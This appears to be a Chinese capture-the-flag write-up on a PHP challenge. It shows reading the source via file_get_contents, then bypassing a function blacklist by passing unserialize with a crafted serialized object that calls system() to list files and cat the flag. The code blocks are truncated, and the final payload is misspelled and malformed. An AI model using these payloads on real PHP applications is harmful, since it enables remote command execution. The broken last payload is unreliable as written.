各函数过滤绕过反序列化漏洞
打开页面,然后进行抓包,发现有两个post提交的参数为func和p,然后再看页面的提示,我们可以猜测func是函数,而p是函数里的参数,所以我们可以在抓的包里构造post提交的两个参数
1 | func=file_get_contents&p=index.php |
我们可以得到源代码
1 | <?php |
其中,我们看见call_user_func()函数,我们可以利用call_user_func()函数
知识点
call_user_func()
1 | call_user_func()函数是类似于一种特别的调用函数的方法 |
call_user_func_array()
1 | call_user_func函数是类似于一种特别的调用函数的方法,不过参数要为数组 |
实例
call_user_func()
1 | <?php |
call_user_func_array()
1 | <?php |
但是,我们不知道flag在哪个文件里,所以我们使用system()函数来找flag的位置,但是system()被过滤掉了,但是我们发现它只对func进行函数的检测,所以我们可以利用反序列化的方式来构造func参数的值为system()
exp
1 | <?php |
因此我们可以构造payload
1 | func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";} |
我们便可以看到目录,找到flag所在文件后,只需构造
1 | func=unseraialize&pO:4:"Test":2:{s:1:"p";s:2:"cat 文件名";s:4:"func";s:6:"system";} |
可以看见flag